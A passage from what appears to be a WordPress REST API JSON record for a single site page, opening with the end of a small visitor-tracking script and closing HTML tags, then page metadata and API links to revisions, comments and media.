body:'action=phl_visitor_open'\r\n});\r\n\r\n<\/script>\r\n\r\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-7","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/khaleejii.it.com\/index.php?rest_route=\/wp\/v2\/pages\/7","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/khaleejii.it.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/khaleejii.it.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/khaleejii.it.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/khaleejii.it.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7"}],"version-history":[{"count":5,"href":"https:\/\/khaleejii.it.com\/index.php?rest_route=\/wp\/v2\/pages\/7\/revisions"}],"predecessor-version":[{"id":13,"href":"https:\/\/khaleejii.it.com\/index.php?rest_route=\/wp\/v2\/pages\/7\/revisions\/13"}],"wp:attachment":[{"href":"https:\/\/khaleejii.it.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}